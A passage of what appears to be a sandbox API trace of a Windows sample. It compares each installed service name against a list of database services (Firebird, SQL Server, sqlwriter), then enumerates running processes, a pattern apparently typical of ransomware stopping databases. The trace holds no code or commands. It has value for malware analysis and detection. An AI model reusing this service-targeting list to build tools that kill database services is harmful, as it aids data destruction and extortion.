lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0169.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0169.556] lstrlenW (lpString="CryptSvc") returned 8 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.557] lstrlenW (lpString="DcomLaunch") returned 10 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.557] lstrlenW (lpString="DeviceAssociationService") returned 24 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0169.557] lstrlenW (lpString="Dhcp") returned 4 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.557] lstrlenW (lpString="Dnscache") returned 8 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.557] lstrlenW (lpString="DPS") returned 3 [0169.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.557] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.557] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.557] lstrlenW (lpString="DusmSvc") returned 7 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0169.558] lstrlenW (lpString="EventLog") returned 8 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0169.558] lstrlenW (lpString="EventSystem") returned 11 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.558] lstrlenW (lpString="FontCache") returned 9 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0169.558] lstrlenW (lpString="gpsvc") returned 5 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.558] lstrlenW (lpString="iphlpsvc") returned 8 [0169.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.558] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.558] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.558] lstrlenW (lpString="KeyIso") returned 6 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0169.559] lstrlenW (lpString="LanmanServer") returned 12 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.559] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.559] lstrlenW (lpString="lfsvc") returned 5 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0169.559] lstrlenW (lpString="lmhosts") returned 7 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.559] lstrlenW (lpString="LSM") returned 3 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0169.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0169.559] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0169.559] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0169.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0169.559] lstrlenW (lpString="MpsSvc") returned 6 [0169.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.560] lstrlenW (lpString="NcbService") returned 10 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0169.560] lstrlenW (lpString="netprofm") returned 8 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.560] lstrlenW (lpString="NgcSvc") returned 6 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0169.560] lstrlenW (lpString="NlaSvc") returned 6 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.560] lstrlenW (lpString="nsi") returned 3 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.560] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.560] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.560] lstrlenW (lpString="PcaSvc") returned 6 [0169.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.561] lstrlenW (lpString="PlugPlay") returned 8 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.561] lstrlenW (lpString="Power") returned 5 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.561] lstrlenW (lpString="ProfSvc") returned 7 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.561] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.561] lstrlenW (lpString="RpcSs") returned 5 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.561] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.561] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.561] lstrlenW (lpString="SamSs") returned 5 [0169.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.562] lstrlenW (lpString="Schedule") returned 8 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.562] lstrlenW (lpString="SecurityHealthService") returned 21 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0169.562] lstrlenW (lpString="SENS") returned 4 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.562] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.562] lstrlenW (lpString="Spooler") returned 7 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.562] lstrlenW (lpString="StateRepository") returned 15 [0169.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0169.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0169.562] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0169.563] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0169.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0169.563] lstrlenW (lpString="SysMain") returned 7 [0169.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.563] lstrlenW (lpString="SystemEventsBroker") returned 18 [0169.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0169.563] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0169.563] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0169.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0169.563] lstrlenW (lpString="Themes") returned 6 [0169.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.563] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0169.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0169.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0169.563] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0169.563] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0169.563] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0169.563] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f4 [0169.567] Process32FirstW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.568] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.569] lstrlenW (lpString="System") returned 6 [0169.569] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.569] lstrlenW (lpString="smss.exe") returned 8 [0169.569] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.570] lstrlenW (lpString="csrss.exe") returned 9 [0169.570] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.570] lstrlenW (lpString="wininit.exe") returned 11 [0169.570] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.570] lstrlenW (lpString="csrss.exe") returned 9 [0169.570] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.571] lstrlenW (lpString="winlogon.exe") returned 12 [0169.571] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.571] lstrlenW (lpString="services.exe") returned 12 [0169.571] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.572] lstrlenW (lpString="lsass.exe") returned 9 [0169.572] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.572] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.572] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0169.573] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0169.573] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.573] lstrlenW (lpString="svchost.exe") returned 11 [0169.573] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.573] lstrlenW (lpString="svchost.exe") returned 11 [0169.573] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0169.574] lstrlenW (lpString="dwm.exe") returned 7 [0169.574] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.574] lstrlenW (lpString="svchost.exe") returned 11 [0169.574] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.575] lstrlenW (lpString="svchost.exe") returned 11 [0169.575] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.575] lstrlenW (lpString="svchost.exe") returned 11 [0169.575] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.576] lstrlenW (lpString="svchost.exe") returned 11 [0169.576] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) 